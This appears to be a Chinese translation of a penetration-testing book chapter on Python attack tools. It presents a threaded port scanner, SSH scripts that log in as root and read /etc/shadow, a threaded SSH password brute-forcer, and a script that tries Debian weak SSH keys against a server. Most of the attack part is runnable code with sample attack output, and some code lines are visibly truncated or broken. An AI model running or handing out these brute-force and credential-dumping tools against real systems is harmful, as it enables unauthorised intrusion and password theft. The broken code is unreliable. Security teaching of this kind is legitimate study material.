# 第二章 用python進行滲透測試
本章內容:
1. 構建一個端口掃描器
2. 構建一個SSH的僵尸網絡
3. 通過FTP連接WEB來滲透
4. 復制Conficker蠕蟲
5. 寫你的第一個0day利用代碼
> 做一個戰士不是一件簡單的事。這是一場無休止的、會持續到我們生命最后一刻的斗爭。沒有人生下來就是戰士, 就像沒人生下來就注定庸碌, 是我們讓自己變成這樣或者那樣!
> —Kokoro by Natsume Sosek(夏目漱石), 1914, Japan(日本)
## 引文:Morris蠕蟲病毒——如今仍然會有效果么?
在StuxNet蠕蟲病毒癱瘓了伊朗在Bushehr和Natantz(地名)的核動力的22年前,一個康奈爾大學的研究生推出了第一款“數字炸藥”。 Robert Tappen Morris Jr(羅伯特?莫里斯),國家安全局國家計算機安全中心的負責人的兒子,用一種被巧妙地稱為Morris蠕蟲的病毒感染了6000個工作站。6000個工作站在今天的標準下似乎微不足道,但在1988年,這個數字代表了當時互聯網上所有計算機的百分之十。為了消除莫里斯的蠕蟲病毒留下的傷害,美國政府問責局提出了100000000美元以上的預算。那么這種蠕蟲病毒是如何工作的呢?
莫里斯的蠕蟲病毒使用了三管齊下的攻擊方式來破壞系統。它首先利用了UNIX 的sendmail程序的漏洞。其次,他利用了Unix 系統守護進程功能的一個用以分離的漏洞。最后,他會用一些常見的用戶名和密碼,試圖連接到使用遠程shell的目標(RSH)。如果這三次攻擊成功執行,蠕蟲會用一個小的程序,像鉤子一樣把病毒(Eichin & Rochlis, 1989)的剩余部分拉過來。
與此相似的攻擊如今仍然會有效果么?我們能學習寫出幾乎相同的一些東西么?這些問題為本章剩余要講解的部分提供了基礎。莫里斯用C語言編寫了他的大部分攻擊軟件。然后,C語言是一個非常強大的語言,學習他也是有挑戰性的。與此形成鮮明對比的是,python語言具有易于掌握的語法和豐富的第三方模塊。這提供了一個更好的平臺支持,并且讓大多數開發者能相當容易的發起攻擊。在接下來的內容中,我們將使用python來重新構建莫里斯蠕蟲的部分代碼。
## 構建一個端口掃瞄器
偵查是任何網絡攻擊的第一步。在選擇目標的漏洞利用程序之前攻擊者必須找出漏洞在哪。在下面的章節中,我們將建立一個小型的偵查腳本用來掃描目標主機開放的TCP端口。然而,為了與TCP端口進行交互,我們需要先建立TCP套接字。
Python,像大多數現代編程語言一樣,提供了訪問BCD套接字的接口。BCD套接字提供了一個應用程序編程接口,允許程序員編寫應用程序用以執行主機之間的網絡通訊。通過一系列的`socket` API函數,我們可以創建,綁定,監聽,連接或者發送流量在TCP/IP套接字上。在這一點上,更好的理解TCP/IP和`socket`是為了幫助我們更加進一步的發展我們自己的攻擊。
大多數的Internet訪問程序是在TCP之上的。例如,一個目標組織,Web服務可能運行在TCP的80端口之上,郵件服務可能運行在TCP的25端口之上,文件傳輸服務可能運行在TCP的21端口之上。為了連接目標組織的這些服務,攻擊者必須知道Internet協議的地址和與服務相關的TCP端口。對目標組織熟悉的人可能有這些信息,但攻擊者可能沒有。
攻擊者經常以端口掃描拉開一次成功滲透攻擊的序幕。一種類型的端口掃描就是發送一個TCP SYN包里面包含了一系列的常用的端口并等待TCP ACK響應,從而判斷端口是否開放。相比之下,也可以用一個全握手協議的TCP連接掃描來確定服務或者端口的可用性。
## TCP全連接掃描
讓我們開始編寫我們自己的TCP端口掃瞄器,利用TCP全連接掃描來識別主機。首先,我們要導入Python的BCD套接字API模塊`socket`。`socket` API提供了一系列的函數將用來實現我們的TCP端口掃描。為了深入了解,請查看Python的標準庫文檔,地址: http://docs.Python.org/library/socket.html 。
```
socket.gethostbyname(hostname) :這個函數將主機名換換為IP地址,如 www.syngress.com將會返回IPv4地址為69.163.177.2。
socket.gethostbyaddr(ip_address) :這個函數傳入一個IP地址將返回一個元組, 其中包含主機名,別名列表和同一接口的IP地址列表。
socket.socket([family[, type[, proto]]]) :這個函數將產生一個新的socket,通過給定的socket 地址簇和socket類型,地址簇的可以是AF_INET(默認),AF_INET6或者是AF_UNIX,另外,socket類型可以為一個TCP套接字即SOCK_STREAM(默認),或者是UDP套 接字即SOCK_DGRAM,或者其他的套接字類型。最后協議號通常為零,在大多數 情況下省略不寫。
socket.create_connection(address[, timeout[, source_address]] :這個函數傳入一個包含IP地 址和端口號的二元元組返回一個socket對象,此外還可以選擇超時重連。(注:這個 函數比socket.connect()更加高級可以兼容IPv4和IPv6)。
```
為了更好的理解我們的TCP端口掃瞄器的工作原理,我們將腳本分為五個步驟,一步一步的寫出每個步驟的代碼。第一步,我們要輸入目標主機名和要掃描的常用端口列表。接著,我們將通過目標主機名得到目標的網絡IP地址。我們將用列表里面的每一個端口去連接目標地址,最后確定端口上運行的特殊服務。我們將發送特定的數據,并讀取特定應用程序返回的標識。
在我們的第一步中,我們從用戶那接受主機名和端口。因此我們的程序將利用`optparse`標準庫來解析命令行選項,調用`optparse.OptionParser()`創建一個選項分析器,然后通過`parser.add_option()`函數來指定命令選項。(注:`optparse`模塊在2.7版本后將被棄用也不會得到更新,會使用`argparse`模塊來替代)下面的例子顯示了一個快速解析目標主機和掃描端口的方法。
```
# coding=UTF-8
import optparse
parser = optparse.OptionParser('usage %prog –H <target host> -p <target port>')
parser.add_option('-H', dest='tgtHost', type='string', help='specify target host')
parser.add_option('-p', dest='tgtPort', type='int', help='specify target port')
(options, args) = parser.parse_args()
tgtHost = options.tgtHost
tgtPort = options.tgtPort
if (tgtHost == None) | (tgtPort == None):
print(parser.usage)
exit(0)
else:
print(tgtHost)
print(tgtPort)
```
接下來,我們將構建兩個函數`connScan`和`portScan`,`portScan`函數需要主機名和端口作為參數。它首先嘗試通過`gethostbyname()`函數從友好的主機名中解析出主機IP地址。接下來,它將打印出主機名或者IP地址,然后枚舉每一個端口嘗試著用`connScan`函數去連接主機。`connScan`函數需要兩個參數:`tgtHost` 和 `tgtPort`,并嘗試產生一個到目標主機端口的連接。如果成功的話,`connScan`將打印端口開放的信息,如果失敗的話,將打印端口關閉的信息。
```
# coding=UTF-8
import optparse
import socket
def connScan(tgtHost, tgtPort):
try:
connSkt = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connSkt.connect((tgtHost, tgtPort))
print('[+]%d/tcp open' % tgtPort)
connSkt.close()
except:
print('[-]%d/tcp closed' % tgtPort)
def portScan(tgtHost, tgtPorts):
try:
tgtIP = socket.gethostbyname(tgtHost)
except:
print("[-] Cannot resolve '%s': Unknown host" % tgtHost)
return
try:
tgtName = socket.gethostbyaddr(tgtIP)
print('\n[+] Scan Results for: ' + tgtName[0])
except:
print('\n[+] Scan Results for: ' + tgtIP)
socket.setdefaulttimeout(1)
for tgtPort in tgtPorts:
print('Scanning port ' + str(tgtPort))
connScan(tgtHost, int(tgtPort))
#測試是否有效
portScan('www.baidu.com', [80,443,3389,1433,23,445])
```
## 捕獲應用標識
為了從捕獲我們的目標主機的應用標識,我們必須首先插入額外的驗證代碼到`connScan`函數中。一旦發現開放的端口,我們發送一個字符串數據到這個端口然后等待響應。收集這些響應并推斷可能會得到運行在目標主機端口上的應用程序的一些信息。
```
# coding=UTF-8
import optparse
import socket
def connScan(tgtHost, tgtPort):
try:
connSkt = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connSkt.connect((tgtHost, tgtPort))
connSkt.send('ViolentPython\r\n')
results = connSkt.recv(100)
print('[+]%d/tcp open' % tgtPort)
print('[+] ' + str(results))
connSkt.close()
except:
print('[-]%d/tcp closed' % tgtPort)
def portScan(tgtHost, tgtPorts):
try:
tgtIP = socket.gethostbyname(tgtHost)
except:
print "[-] Cannot resolve '%s': Unknown host" %tgtHost
return
try:
tgtName = socket.gethostbyaddr(tgtIP)
print('\n[+] Scan Results for: ' + tgtName[0])
except:
print('\n[+] Scan Results for: ' + tgtIP)
socket.setdefaulttimeout(1)
for tgtPort in tgtPorts:
print('Scanning port ' + str(tgtPort))
connScan(tgtHost, int(tgtPort))
def main():
parser = optparse.OptionParser('usage %prog –H <target host> -p <target port>')
parser.add_option('-H', dest='tgtHost', type='string', help='specify target host')
parser.add_option('-p', dest='tgtPort', type='int', help='specify target port')
(options, args) = parser.parse_args()
tgtHost = options.tgtHost
tgtPort = options.tgtPort
args.append(tgtPort)
if (tgtHost == None) | (tgtPort == None):
print('[-] You must specify a target host and port[s]!')
exit(0)
portScan(tgtHost, args)
if __name__ == '__main__':
main()
```
例如說,掃描一個站點,以下是掃描獲得的信息:
```
attacker$ python portscanner.py -H 192.168.1.37 -p 21, 22, 80
[+] Scan Results for: 192.168.1.37
Scanning port 21
[+] 21/tcp open
[+] 220 FreeFloat Ftp Server (Version 1.00).
```
可以看到目標主機的開放端口和相應的服務版本,再以后的入侵中將會用到這些信息。
## 多線程掃描
因為每一個`socket`都有時間延遲,每一個`socket`掃描都將會耗時幾秒鐘,雖然看起來無足輕重,但是如果我們掃描多個端口和主機延遲時間將迅速增大。理想情況下,我們希望這些`socket`按順序掃描。引入Python線程。線程提供了一種同時執行的方式。在我們的掃描中利用線程,只需將`portScan()`函數的迭代改一下。請注意,我們可以把每一個`connScan()`函數都當做是一個線程。在迭代的過程中產生的每一個線程將在同時執行。
```
for tgtPort in tgtPorts:
print('Scanning port ' + str(tgtPort))
t = threading.Thread(target=connScan, args=(tgtHost, int(tgtPort)))
t.start()
```
多線程在速度上給我們提供了顯著地優勢,但是目前有一個缺點,我們的函數`connScan()`打印在屏幕上的內容時如果多線程在同一時刻打印的話可能會出現亂序。為了讓函數完整正確的輸出信息,我們就使用信號量。一個簡單的信號量為我們提供了一個鎖來阻止其他線程進入。
注意在打印輸出之前,我們搶占一個鎖使用`screenLock.acquire()`來加鎖。如果鎖打開,信號量將允許線程繼續運行然后打印輸出,如果鎖定,我們將要等到控制信號量的進程釋放鎖。利用信號量,我們可以保證在任何個定的時間只有一個線程在打印屏幕輸出。在我們的異常處理代碼中,在結束之前將結束下面的代碼快。
```
screenLock = threading.Semaphore(value=1)
def connScan(tgtHost, tgtPort):
try:
connSkt = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connSkt.connect((tgtHost, tgtPort))
connSkt.send('ViolentPython\r\n')
results = connSkt.recv(100)
screenLock.acquire()
print('[+]%d/tcp open' % tgtPort)
print('[+] ' + str(results))
except:
screenLock.acquire()
print('[-]%d/tcp closed' % tgtPort)
finally:
screenLock.release()
connSkt.close()
```
將所有的功能組合在一起,我們將產生我們最終的端口掃面器腳本。
```
# coding=UTF-8
import optparse
import socket
import threading
screenLock = threading.Semaphore(value=1)
def connScan(tgtHost, tgtPort):
try:
connSkt = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connSkt.connect((tgtHost, tgtPort))
connSkt.send('ViolentPython\r\n')
results = connSkt.recv(100)
screenLock.acquire()
print('[+]%d/tcp open' % tgtPort)
print('[+] ' + str(results))
except:
screenLock.acquire()
print('[-]%d/tcp closed' % tgtPort)
finally:
screenLock.release()
connSkt.close()
def portScan(tgtHost, tgtPorts):
try:
tgtIP = socket.gethostbyname(tgtHost)
except:
print "[-] Cannot resolve '%s': Unknown host" %tgtHost
return
try:
tgtName = socket.gethostbyaddr(tgtIP)
print('\n[+] Scan Results for: ' + tgtName[0])
except:
print('\n[+] Scan Results for: ' + tgtIP)
socket.setdefaulttimeout(1)
for tgtPort in tgtPorts:
print('Scanning port ' + str(tgtPort))
t = threading.Thread(target=connScan, args=(tgtHost, int(tgtPort)))
t.start()
def main():
parser = optparse.OptionParser('usage %prog –H <target host> -p <target port>')
parser.add_option('-H', dest='tgtHost', type='string', help='specify target host')
parser.add_option('-p', dest='tgtPort', type='int', help='specify target port')
(options, args) = parser.parse_args()
tgtHost = options.tgtHost
tgtPort = options.tgtPort
args.append(tgtPort)
if (tgtHost == None) | (tgtPort == None):
print('[-] You must specify a target host and port[s]!')
exit(0)
portScan(tgtHost, args)
if __name__ == '__main__':
main()
```
運行這個腳本,我們將看到一下結果:
```
attacker:!# python portScan.py -H 10.50.60.125 -p 21, 1720
[+] Scan Results for: 10.50.60.125
[+] 21/tcp open
[+] 220- Welcome to this Xitami FTP server
[-] 1720/tcp closed
```
## 結合Nmap掃瞄器
我們前面的例子提供了一個快速執行TCP掃描的腳本。這可能會限制我們執行額外的掃描,如ACK, RST, FIN, or SYN-ACK等Nmap工具包所提供的掃描。它實際上是一個標準的掃描工具包,它提供了相當多的功能,這就引出了問了,我們為什么不使用Nmap工具包了?進入Python真真美妙的地方。當Fyodor Vaskovich編寫Nmap時用了C語言和Lua腳本。Nmap能夠被相當不錯的集成到Python中。Nmap產生給予XML的輸出,Steve Milner 和 Brian Bustin編寫了Python的XML解析庫。它提供了我們用Python利用完整功能的Nmap的能力。
在開始之前,你必須安裝`python-nmap`庫,你能從 http://xael.org/norman/python/python-nmap/ 安裝`python-nmap`庫。確保你安裝時對應了不同的Python2.X或者Python3.X版本。
## 更多的掃描信息
其他類型的端口掃描
考慮到還有一些其他類型的掃描,雖然我們缺乏用TCP選項制作數據包的工具,但在稍后的第五章中將會涉及到。那是看你能能添加一些掃描類型到你的端口掃瞄器中。
```
TCP SYN 掃描 :又稱為半開放掃描,這種類型的掃描發送一個SYN的TCP連接數包等待響應,當返回RST數據包表示端口關閉,返回ACK數據包表示端口開放。
TCP NULL 掃描 :TCP空掃描設置TCP的標志頭為零。如果返回一個RST數據包則表示這個端口是關閉的。
TCP FIN 掃描 : TCP FIN掃描發送一個FIN數據包,主動關閉連接,等待一個圓滿的終止,如果返回RST數據包則表示端口是關閉的。
TCP XMAS 掃描 :TCP XMAS掃描設置 PSH, FIN,和URG TCP標志位,如返回RST數據包則表示這個端口是關閉的。
```
`Python-nmap`庫安裝后,我們現在可以導入nmap庫到我們的腳本中然后用我們的python腳本運行nmap掃描,需要創建一個`PortScanner()`類的實例才能運行我們的掃描對象。該類有一個`scan()`函數,接受主機IP地址和端口作為輸入,然后運行基本的nmap掃描。此外,我們可以索引掃描結果并打印端口狀態。以下為nmap掃描腳本代碼:
```
# coding=UTF-8
import optparse
import nmap
def nmapScan(tgtHost, tgtPort):
nmScan = nmap.PortScanner()
results = nmScan.scan(tgtHost, tgtPort)
state = results['scan'][tgtHost]['tcp'][int(tgtPort)]['state']
print(" [*] " + tgtHost + " tcp/" + tgtPort + " " + state)
def main():
parser = optparse.OptionParser('usage %prog –H <target host> -p <target port>')
parser.add_option('-H', dest='tgtHost', type='string', help='specify target host')
parser.add_option('-p', dest='tgtPort', type='string', help='specify target port')
(options, args) = parser.parse_args()
tgtHost = options.tgtHost
tgtPort = options.tgtPort
args.append(tgtPort)
if (tgtHost == None) | (tgtPort == None):
print('[-] You must specify a target host and port[s]!')
exit(0)
for tgport in args:
nmapScan(tgtHost, tgport)
if __name__ == '__main__':
main()
```
運行我們的nmap掃描腳本,我們可以看到nmap多種方式掃描的準確結果
```
attacker:!# python nmapScan.py -H 10.50.60.125 -p 21, 1720
[*] 10.50.60.125 tcp/21 open
[*] 10.50.60.125 tcp/1720 filtered
```
## 構建一個SSH 的僵尸網絡
現在,我們已經構建了一個端口掃描器來尋找目標,我們就可以開始利用每個服務漏洞的任務了。莫里斯蠕蟲包含了常用的用戶名和密碼,通過暴力破解來遠程連接目標的shell(RSH),將其作為蠕蟲的三種攻擊向量之一。1988 年,RSH 提供了一種極好的(雖然不安全)方法用于系統管理員來遠程連接到計算機并控制它,從而在主機上執行一系列的終端命令。安全的shell(SSH)協議已經取代了RSH 協議,通過接合RSH 協議與公鑰密碼方案來確保安全。然而,這只是停止了少數人使用常用的用戶名和密碼的暴力破解作為攻擊向量。
SSH 蠕蟲已經被證明是非常成功的和常見的攻擊向量。查看我們最近一次對 `www.violentpython.org` 的SSH 攻擊的入侵檢測(IDS)日志。在這,攻擊者試圖用UCLA(加利福尼亞大學洛杉磯分校),牛津,matrix 賬戶連接到機器。這些都是有趣的選擇。幸運的是,IDS 注意到攻擊者的IP 地址有強制制造密碼的趨勢后阻止了攻擊者進一步的SSH 登陸嘗試。
```
Received From: violentPython->/var/log/auth.log
Rule: 5712 fired (level 10) -> "SSHD brute force trying to get access to the system."
Portion of the log(s):
Oct 13 23:30:30 violentPython sshd[10956]: Invalid user ucla from 67.228.3.58
Oct 13 23:30:29 violentPython sshd[10954]: Invalid user ucla from 67.228.3.58
Oct 13 23:30:29 violentPython sshd[10952]: Invalid user oxford from 67.228.3.58
Oct 13 23:30:28 violentPython sshd[10950]: Invalid user oxford from 67.228.3.58
Oct 13 23:30:28 violentPython sshd[10948]: Invalid user oxford from 67.228.3.58
Oct 13 23:30:27 violentPython sshd[10946]: Invalid user matrix from 67.228.3.58
Oct 13 23:30:27 violentPython sshd[10944]: Invalid user matrix from 67.228.3.58
```
## 通過Pexpect 與SSH 進行溝通
(注:Pexpect 是 Don Libes 的 Expect 語言的一個 Python 實現,是一個用來啟動子程序,并使用正則表達式對程序輸出做出特定響應,以此實現與其自動交互的 Python 模塊。 Pexpect 的使用范圍很廣,可以用來實現與 ssh、ftp、telnet 等程序的自動交互;可以用來自動復制軟件安裝包并在不同機器自動安裝;還可以用來實現軟件測試中與命令行交互的自動化)
讓我們實現自己的自動化蠕蟲通過暴力破解目標的用戶憑據。因為SSH 客戶端需要用戶的交互,我們的腳本必須等待和匹配期望的輸入,在發送進一步的輸入命令之前。考慮一下以下的情景,為了連接我們的IP 地址為`127.0.0.1` 的SSH 機器,首先應用程序要求我們確認RSA 密鑰,在這種情況下,我們必須回答"yes"才能繼續。接著應用程序要求我們輸入密碼。最后,我們執行我們的命令`uname -a`來確定目標機器的運行版本。
```
attacker$ ssh root@127.0.0.1
The authenticity of host '127.0.0.1 (127.0.0.1)' can't be established.
RSA key fingerprint is 5b:bd:af:d6:0c:af:98:1c:1a:82:5c:fc:5c:39:a3:68.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '127.0.0.1' (RSA) to the list of known
hosts.
Password:**************
Last login: Mon Oct 17 23:56:26 2011 from localhost
attacker:~ uname -v
Darwin Kernel Version 11.2.0: Tue Aug 9 20:54:00 PDT 2011;
root:xnu-1699.24.8~1/RELEASE_X86_64
```
為了實現這種交互式的控制臺,我們將充分利用名為`Pexpect` 的第三方Python 模塊(可以到 http://pexpect.sourceforge.net 下載)。`Pexpect` 有和程序交互的能力,并尋找預期的輸出,然后基于預期做出響應,這使得它成為自動暴力破解SSH 用戶憑證的一個極好的工具。
檢查`connect()`函數,這個函數接收用戶名,主機名和密碼,并返回一個SSH 連接,從而得到大量的SSH 連接。利用`Pexpect` 模塊,并等待一個預期的輸出。有三個預期的輸出會出現---一個超時,一個信息提示這個主機有一個新的公共密鑰,或者是一個密碼輸入提示。如果結果是超時,`session.expect()`函數將會返回0,接下來的選擇語句警告這個并在返回之前打印一個錯誤信息。如果`child.expect()`函數捕捉到一個`ssh_newkey` 信息,他將返回1。這將迫使函數發送一個消息“yes”來接受這個新key。接下來,函數在發送密碼之前將等待密碼提示。
```
import pexpect
PROMPT = ['# ', '>>> ', '> ', '\$ ']
def send_command(child, cmd):
child.sendline(cmd)
child.expect(PROMPT)
print(child.before)
def connect(user, host, password):
ssh_newkey = 'Are you sure you want to continue connecting'
connStr = 'ssh ' + user + '@' + host
child = pexpect.spawn(connStr)
ret = child.expect([pexpect.TIMEOUT, ssh_newkey, '[P|p]assword:'])
if ret == 0:
print('[-] Error Connecting')
return
if ret == 1:
child.sendline('yes')
ret = child.expect([pexpect.TIMEOUT, '[P|p]assword:'])
if ret == 0:
print('[-] Error Connecting')
return
child.sendline(password)
child.expect(PROMPT)
return child
```
一旦通過認證,現在我們可以使用一個單獨的函數`commend()`發送命令給SSH 會話。`commend()`函數接受一個SSH 會話和命令字符串作為輸入。然后發送命令字符串給SSH 會話,等待命令提示。捕捉到命令提示后將從SSH 會話中打印輸出。
```
import pexpect
PROMPT = ['# ', '>>> ', '> ', '\$ ']
def send_command(child, cmd):
child.sendline(cmd)
child.expect(PROMPT)
print(child.before)
```
將一切包裝在一起,現在我們有了一個能連接和控制SSH 會話交互的腳本了。
```
# coding=UTF-8
__author__ = 'dj'
import pexpect
PROMPT = ['# ', '>>> ', '> ', '\$ ']
def send_command(child, cmd):
child.sendline(cmd)
child.expect(PROMPT)
print(child.before)
def connect(user, host, password):
ssh_newkey = 'Are you sure you want to continue connecting'
connStr = 'ssh ' + user + '@' + host
child = pexpect.spawn(connStr)
ret = child.expect([pexpect.TIMEOUT, ssh_newkey
if ret == 0:
print('[-] Error Connecting')
return
if ret == 1:
child.sendline('yes')
ret = child.expect([pexpect.TIMEOUT, '[P|p]assword:'])
if ret == 0:
print('[-] Error Connecting')
return
child.sendline(password)
child.expect(PROMPT)
return child
def main():
host = 'localhost'
user = 'root'
password = 'toor'
child = connect(user, host, password)
send_command(child, 'cat /etc/shadow | grep root')
if __name__ == '__main__':
main()
```
運行這個腳本。我們可以看到我們可以連接到一個SSH 服務器,并遠程控制者個主機。我們通過簡單的命令以root 身份讀取`/etc/shadow` 文件來顯示哈希密碼,我么可以使用這個工具做一些更狡猾的事情,比如說用`wget` 下載滲透工具。你可以在Backtrack 上通過生成`ssh-keys` 來啟動SSH 服務。嘗試啟動SSH 服務器,然后用這個腳本區連接它。
```
attacker# ssh-kengen
Generating public/private rsa1 key pair.
<..SNIPPED..>
attacker# service ssh start
ssh start/running, process 4376
attacker# python sshCommand.py
cat /etc/shadow | grep root
root:$6$ms32yIGN$NyXj0YofkK14MpRwFHvXQW0yvUid.slJtgxHE2EuQqgD
74S/GaGGs5VCnqeC.bS0MzTf/EFS3uspQMNeepIAc.:15503:0:99999:7:::
```
## 通過Pxssh 暴力破解SSH 密碼
在寫最后一個腳本時真的讓我們更加深入的了解了`pexpect` 模塊的能力,但我們可以簡化之前的腳本利用`pxssh` 模塊。`Pxssh` 是`Pexpect`模塊附帶的腳本,它可以直接與SSH 會話進行交互,通過預先定義的`login()`,`logout()`,`prompt()`函數。使用`pxssh` 模塊,我們可以壓縮我們之前的代碼。
```
import pxssh
def send_command(s, cmd):
s.sendline(cmd)
s.prompt()
print(s.before)
def connect(host, user, password):
try:
s = pxssh.pxssh()
s.login(host, user, password)
return s
except:
print '[-] Error Connecting'
exit(0)
s = connect('127.0.0.1', 'root', 'toor')
send_command(s, 'cat /etc/shadow | grep root')
```
我們的腳本快要完成了。我們只需要對我們的腳本稍作修改就能暴力破解SSH 認證。除了增加一些選項解析主機名,用戶名和密碼文件,我們唯一要做的就是稍微修改一下`connect()`函數。如果`login()`函數成功登陸沒有異常的話,我們將打印消息提示發現密碼,然后更新全局布爾值標識。否則,我們將捕捉異常。如果異常顯示密碼“refused”,我們知道密碼錯誤,直接返回。然而,如果異常顯示`socket` 套接字“read_nonblocking”,我們可以假設這個SSH 服務器超過了最大連接數,然后我們會睡眠幾秒再次嘗試相同的密碼連接。此外,如果異常顯示`pxssh` 難以獲得命令提示符,我們將睡眠一會使它能獲取命令提示符。值得注意的是我們包含一個布爾值在`connect()`的函數參照中。`connect()`函數可以遞歸的調用其他的`connect()`函數,我們希望調用者可以釋放連接鎖信號量。
```
# coding=UTF-8
import pxssh
import optparse
import time
import threading
maxConnections = 5
connection_lock =
threading.BoundedSemaphore(value=maxConnections)
Found = False
Fails = 0
def connect(host, user, password, release):
global Found, Fails
try:
s = pxssh.pxssh()
s.login(host, user, password)
print('[+] Password Found: ' + password)
Found = True
except Exception as e:
if 'read_nonblocking' in str(e):
Fails += 1
time.sleep(5)
connect(host, user, password, False)
elif 'synchronize with original prompt' in str(e):
time.sleep(1)
connect(host, user, password, False)
finally:
if release:
connection_lock.release()
def main():
parser = optparse.OptionParser('usage%prog '+'-H<target host> -u <user> -f <password list>')
parser.add_option('-H', dest='tgtHost', type='string', help='specify target host')
parser.add_option('-f', dest='passwdFile', type='string', help='specify password file')
parser.add_option('-u', dest='user', type='string', help='specify the user')
(options, args) = parser.parse_args()
host = options.tgtHost
passwdFile = options.passwdFile
user = options.user
if host == None or passwdFile == None or user == None:
print(parser.usage)
exit(0)
fn = open(passwdFile, 'r')
for line in fn.readlines():
if Found:
print "[*] Exiting: Password Found"
exit(0)
if Fails > 5:
print "[!] Exiting: Too Many Socket Timeouts"
exit(0)
connection_lock.acquire()
password = line.strip('\r').strip('\n')
print("[-] Testing: " + str(password))
t = threading.Thread(target=connect, args=(host, user, password, True))
t.start()
if __name__ == '__main__':
main()
```
嘗試用SSH 密碼暴力破解器破解得到一下結果。這很有趣當指示發現密碼為“alpine”,這是iPhone 設備的默認根密碼。2009 年末,一個SSH 蠕蟲攻擊了iPhone。通常越獄的iPhone 設備,用戶能在iPhone 上開啟OpenSSH 服務。而這被證明是非常有效的對于一些沒有察覺的用戶。蠕蟲iKeee 利用這個新問題嘗試用默認密碼攻擊設備。該蠕蟲的作者無意用這個蠕蟲做任何破壞,但是他們更改iphone 的背景圖片為Rick Astley 的圖片,并附上一句話 “ikee never gonna give you up”.
```
attacker# python sshBrute.py -H 10.10.1.36 -u root -F pass.txt
[-] Testing: 123456789
[-] Testing: password
[-] Testing: 1234567
[-] Testing: alpine
[-] Testing: password1
[-] Testing: soccer
[-] Testing: anthony
[-] Testing: friends
[+] Password Found: alpine
[-] Testing: butterfly
[*] Exiting: Password Found
```
## 通過弱密鑰利用SSH
密碼提供了SSH 服務的一種驗證方式,但這不是唯一一種驗證方式。此外,SSH 還提過了另外一種驗證方式---公鑰加密。在這種情況下,服務器知道公鑰,用戶知道私鑰。使用RSA 或者DSA 加密算法,服務器為登陸SSH 的用戶產生他們的密鑰。通常,這提供了一個極好的驗證方式。通過生成1024 位,2048 位或者4096 位的密鑰,使我們很難用弱口令暴力破解。然而,在2006 年Debian Linu 的發行版發生了一些有趣的事情。一個開發者評論了一行通過代碼自動分析工具找到的代碼。代碼的特定行保證SSH 密鑰產生的熵。通過講解代碼的特定行,密鑰的搜索空間的減少到15 位熵.不僅僅是15 位熵,這就意味著每個算法只存在32767 個密鑰。HD Morre,CSO 和Rapid7 的總設計師,生成了1024 位和2048 位的所有的密鑰,在兩個小時以內。此外,他使這些密鑰`debian_ssh_dsa_1024_x86.tar.bz2` 可以自行下載。你可以先下載1024 位的密鑰,然后提取密鑰,刪除公共密鑰,因為只需要私人密鑰來測試連接。
```
attacker# bunzip2 debian_ssh_dsa_1024_x86.tar.bz2
attacker# tar -xf debian_ssh_dsa_1024_x86.tar
attacker# cd dsa/1024/
attacker# ls
00005b35764e0b2401a9dcbca5b6b6b5-1390
00005b35764e0b2401a9dcbca5b6b6b5-1390.pub
00058ed68259e603986db2af4eca3d59-30286
00058ed68259e603986db2af4eca3d59-30286.pub
0008b2c4246b6d4acfd0b0778b76c353-29645
0008b2c4246b6d4acfd0b0778b76c353-29645.pub
000b168ba54c7c9c6523a22d9ebcad6f-18228
<..SNIPPED..>
attacker# rm -rf dsa/1024/*.pub
```
這個漏洞持續了兩年之久才被安全人員發現。因此,有相當多的脆弱的SSH 服務器。如果我們能構建一個工具來利用這個漏洞就好了。然而,為了訪問密鑰空間,可能要寫一個小的Python 腳本來暴力遍歷32767 個密鑰為了驗證一個無密碼,依賴公共密鑰的SSH 服務器。事實上,Warcat 小組寫過這樣的腳本,并將它上傳到了milw0rm,就在漏洞被發現的當天。Exploit-DB 存檔了Warcat 小組的腳本,在 http://www.exploit-db.com/exploits/5720/ 網站上。然而,我們將編寫我們自己的腳本,利用用來編寫密碼暴力破解的的`pexcept` 模塊。
弱密鑰測試的腳本和我們的暴力密碼認證非常相似。為了用密鑰認證SSH,我們需要輸入`ssh user@host –i keyfile –o PasswordAuthentication=no`。在下面的腳本中,我們循環的設置已生成的密鑰來嘗試連接。如果連接成功,我們將打印密鑰文件的名字在屏幕上。此外,我們將設置兩個全局變量`Stop` 和`Fails`,`Fails` 將用于統計因為遠程主機關閉連接而導致的連接失敗的數量。如果數量超過5,我們將終止腳本。如果我們的掃描觸發了遠程IPS(入侵防御系統)阻止我們的連接,那么就沒有意義繼續下去。我們`Stop` 全局變量是一個布爾值,告訴我們已經發現了一個密鑰,`main()`函數也沒有必要再開啟新的連接進程。
```
# coding=UTF-8
import pexpect
import optparse
import os
import threading
maxConnections = 5
connection_lock =
threading.BoundedSemaphore(value=maxConnections)
Stop = False
Fails = 0
def connect(user, host, keyfile, release):
global Stop, Fails
try:
perm_denied = 'Permission denied'
ssh_newkey = 'Are you sure you want to continue'
conn_closed = 'Connection closed by remote host'
opt = ' -o PasswordAuthentication=no'
connStr = 'ssh ' + user + '@' + host + ' -i ' + keyfile + opt
child = pexpect.spawn(connStr)
ret = child.expect([pexpect.TIMEOUT, perm_denied,
ssh_newkey, conn_closed, '$', '#', ])
if ret == 2:
print('[-] Adding Host to ~/.ssh/known_hosts')
child.sendline('yes')
connect(user, host, keyfile, False)
elif ret == 3:
print('[-] Connection Closed By Remote Host')
Fails += 1
elif ret > 3:
print('[+] Success. ' + str(keyfile))
Stop = True
finally:
if release:
connection_lock.release()
def main():
parser = optparse.OptionParser('usage%prog -H <target host> -u <user> -d <directory>')
parser.add_option('-H', dest='tgtHost', type='string', help='specify target host')
parser.add_option('-d', dest='passDir', type='string', help='specify directory with keys')
parser.add_option('-u', dest='user', type='string', help='specify the user')
(options, args) = parser.parse_args()
host = options.tgtHost
passDir = options.passDir
user = options.user
if host == None or passDir == None or user == None:
print(parser.usage)
exit(0)
for filename in os.listdir(passDir):
if Stop:
print('[*] Exiting: Key Found.')
exit(0)
if Fails > 5:
print('[!] Exiting: Too Many Connections Closed By
Remote Host.')
print('[!] Adjust number of simultaneous threads.')
exit(0)
connection_lock.acquire()
fullpath = os.path.join(passDir, filename)
print('[-] Testing keyfile ' + str(fullpath))
t = threading.Thread(target=connect, args=(user, host, fullpath, True))
t.start()
if __name__ == '__main__':
main()
```
測試目標主機,我們能看到我們獲得了漏洞系統的訪問權限。如果1024 位的密鑰沒用,嘗試下載2048 位的密鑰,用同樣的方式使用。
```
